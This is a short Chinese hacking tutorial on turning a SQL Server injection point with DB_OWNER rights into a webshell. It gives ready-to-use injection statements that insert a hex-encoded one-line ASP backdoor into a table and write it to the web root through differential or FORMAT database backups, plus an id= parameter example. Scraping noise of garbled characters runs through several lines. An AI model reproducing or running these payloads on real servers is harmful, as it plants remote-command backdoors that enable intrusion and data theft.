DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少

; g# U: l, }6 a# D: B+ E6 p一利用差异备份
5 s* D) \7 [  Q0 Q加一个参数WITH DIFFERENTIAL

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
: q* [2 P" x# q5 Q( Y; ]insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
. u. Y* c$ q! m5 h# Qdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
" _3 d3 @: M2 G加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
$ L9 Q  u) C5 u+ r# w- s
: u9 y5 c2 q) k" {3 F- ^2 [declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
/ G7 w/ ~3 d. `$ m, ~$ N  Acreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
) e" C2 ~& \. i9 r  P3 \declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

总的来说就是那么简单几句,下面以备份数据库model为例子

id=1;use model create table cmd(str image);insert into cmd(str) values (”)

6 X! n, ^# G# M6 B* C4 c0 Pid=1;backup database model to disk=’你的路径‘ with differential,format;–
; }+ \# X: h' Z0 y5 s
  U6 m. ^, d  M, A2 `; W